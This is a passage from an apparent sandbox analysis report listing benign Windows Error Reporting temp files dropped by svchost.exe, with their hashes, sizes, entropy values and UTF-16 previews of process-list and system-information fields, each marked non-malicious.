Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD623.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695018985067644
Encrypted:	false
SSDEEP:	96:TiZYWF/9jzYKYNEUU8HqYEZDVtFiLCMISSrwFebea+nrM0YzsIoeq:2ZDvdwA6S6a+nrM0Yfoeq
MD5:	69560FB4680A5F3D25C950B7F0FA2DCD
SHA1:	6D7E27915CBACEE145A1E33F4CB207DAC67F85D0
SHA-256:	0B80C46817941DE6CF8501FF85B22134C5015FC8D8DC83990577DC2369E51AA9
SHA-512:	47704A9904E769A4FA498F67FC1CD3DE8DE060F77CBCA9B83AFD3AC43BD091E5E783477E2EB2512CAB03C22C907C44E469B81B9B331349DA8D962C63CE4A219B
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD633.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	99926
Entropy (8bit):	3.069245262279871
Encrypted:	false
SSDEEP:	3072:rBN7njDfYps/Ryl7+RY05+Zj/ItqwM4gO6HJwMh/Qa:4
MD5:	80F666AE7A5399396715501D5CCF65E3
SHA1:	09A4AFAAF08851900CD7B2F1859CD19BA772F8FE
SHA-256:	F1998DFFAA9CDDAB42BDB3F14EBAC2CF47B923A4D0F0AFF8CBD601476489E44F
SHA-512:	70A5918C9BFBA9BA38A516AAF6A08C79C950E3BC206737D9D580B014612359AD5B7E0F5661D35F67A81F3E6CEA2A75DA03C80CA6A5128767204EADF2C4F80AAD
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD663.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6959213817492107
Encrypted:	false
SSDEEP:	96:TiZYWJeprPw1Y7YQvUVjHqYEZDbtFiHMDSSrwvek1EaInKtM4Yf7IaeG:2ZDJbsNvlHaInKtM4Y8aeG
MD5:	E8BF3C90BEA2AC99AB76DDC55FE64CE3
SHA1:	78C4B996C190F5855256EB3322147891386EA26D
SHA-256:	CAEA0B3EC51ACE7F48C2BEE2771478A7480C0F8F146C315A20509D0DC0E73591
SHA-512:	B6B5E3E93573FD62F6D6C151A897590ABFEE90CA6EC10B852156CABC70295B13E69E9AA158A1F496D540D209ACFFDF6868288AD3105D3130B9BFD1E9C1221910
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD6B.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.698875662093666
Encrypted:	false
SSDEEP:	96:TiZYWKR0+jUY+YxrhnrHzYEZqetFib+QSkw7wVYa5nZMTYeIu0eX:2ZDxJtOXa5nZMTYpjeX
MD5:	568BCA0435C16418765A7669BD2E4DD7
SHA1:	1879088A80F3A8D345257AF9C357BCD01F21C56D
SHA-256:	54EC8319D3C6C49301FA810D95EFFBFDFB5E626A968EAABAA721FD470932137C
SHA-512:	F2F0E34FF5C4DB3F79FF81B030C08585613D2F057CF4380ACFF1BE8B8A97DBB97C59A00D9D284362A8547F56980BED0E49CD277CF557E1A1D5185592A9ECF63F
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD9DF.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	100674
Entropy (8bit):	3.068347870958205
Encrypted:	false
SSDEEP:	3072:BGSnwfiM7kDfYos/D+l7+RY05+Zj/Itq7Mf1O30XaL7NIEn:N
MD5:	D62010B6C8C77CC0B2F814ECC9C7E6BD
SHA1:	B98918EEF03CC300016191D136E905D64614888A
SHA-256:	480DD44BD2FB168B37C156E8C35AE8A877B89A9085C7C137CA841B991AF0A7FF
SHA-512:	29E32046CEA324ED4AC445452387033AE5937FF830A39A4E26F842F4B9D53D1EAD57DB09F52B42E6B84227B65E6B3F57EB00997A2F9550EF25BF12516DEF42E4
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDC51.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6963708467504843
Encrypted:	false
SSDEEP:	96:TiZYWQ7B7zYFYhUdDmqHDYEZFHqtFiEM0SSKw9eaP1agnxMtYvRI1e2:2ZDCy7HLmagnxMtYG1e2
MD5:	735B4E394C21369BFB5A135E0E5CD025
SHA1:	413EFEA1D909975A0E7EC9ABF23BD965B08F1137
SHA-256:	D9419CFBCC0AECA7CDA3E874D0CD1ACFD39579F197A985A00CA451C0FB203F8B
SHA-512:	DE61FF23951A36A00DDC55B1A1594CC3F7765AD00777249EBC62FB48E215A4B3391AB54770F5D80F065A7DAC67CC40D961DB894CF19C6EC0EBE1327D08CB7D07
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDF9E.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696289745958786
Encrypted:	false
SSDEEP:	96:TiZYWAALsHsY1YG0MaHaYEZ3ICtFiXMBSSewxVVda4znM+M2Y9ITem:2ZDZCZIU1a4znXM2YCTem
MD5:	A97245A6255607C3AAD4046ACD32EA0C
SHA1:	F4E9294023E434DDFFB4A8808EA5C61889931CF6
SHA-256:	99FEF1F27CCE89042619CF98F17A45B0E48FB8893D6854498C06E2511C4A4061
SHA-512:	3813BC2C1832A8B122529FB14D1324D98483A5684E12272A2C4F1042F4EA6B9176B1D3C6B216A5CE54FA6433EA92142E66E084F05526B202859FEA6E29BEED3F
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE0B8.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	100616
Entropy (8bit):	3.0693159987087575
Encrypted:	false
SSDEEP:	3072:2lDl2hTSQAElRhtrDff4s/Dkl7+RY05+Zj/ItqUMMFOEN3Lif7++g2:m
MD5:	8FD0A226FD6DD76269B510BD4014C877
SHA1:	0DBBCF1127D0B22BC29C2B219294BE25FA063916
SHA-256:	5A1EA0E94422C148082522A71260D69C150C669BCDFAF0EAAE7918871E2F2F4F
SHA-512:	46CF2EBB50575D278085A2007CE83DC4217523F23C1E08E4F3BBAE455DD5340C366998CD0D007B6B8D7F41E15071AB84AA632CA9BF241AC22A5B9F8A8DD0942C
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE4C0.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6963059765496333
Encrypted:	false
SSDEEP:	96:TiZYWilNcArYNYxQ0ETHxYEZK3tFiZM3SSRwCr7aInMMQY3IFeT:2ZDwKuVPaInMMQYYFeT
MD5:	45FC8E1086445A9E3ED375D273F8AFD5
SHA1:	14A4C89237AD8560B16DBCF2B33788905AA64738
SHA-256:	9D8ABA922299D312FE7F3DBB710E9C0EF033E2983C5AF5D0BE249F16A31BBDFA
SHA-512:	9FF3634AB5E91882FE0D58AF200374578D08E6D8A241F4CA301D9F62B44A8E29E69CC19A6EC253638BD3783CBE31758386B2B369664FC3D7C6B1643F756315A7
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE9F1.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	99262
Entropy (8bit):	3.0702114078212124
Encrypted:	false
SSDEEP:	3072:15NtYzWNQAYRbpfrq72n7+RY05+Zj/ItqHM6OhR3SbON9Xb:t
MD5:	6BA5681C8088F3055EB09A653AF99FFE
SHA1:	106A652118A58FD4724251D4505F2FADEF72D6AA
SHA-256:	8A37F21EC8FD0F8B4C7484E84CE5F7C204F9FE0A2D2B463DAFD6CE179C9749A0
SHA-512:	018B464FD7AB56F70B9794AEBE31D5F6D10DF66596698930D4C2198D607CBC6F039A811961A7B980DD62707F7F8FD3BBA35C2B6E949436E85B0C46E91D2AEE9E
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREA11.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	99294
Entropy (8bit):	3.070087870633542
Encrypted:	false
SSDEEP:	3072:0jNlYzWNQAYRbefrq72n7+RY05+Zj/ItqDM6OhgRK5SUON9RcM:8
MD5:	27581E709A4C9FE8989F05F9FF9AC306
SHA1:	6C06217050D99B6265B62A4A92E6A2E17C523F29
SHA-256:	F1A51813B7703C32D5F4496FB39936FD4B63462496455D7AD7A7C85EE31B03AC
SHA-512:	A1ADF41ACCA7A7D84A1A9F12254681AC99C104C7E52951503DA1FF8E7A4B1466D27CE9D4D6DCF964110AC29E589B386A452AEF496D0CD4B735AD42043631417F
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

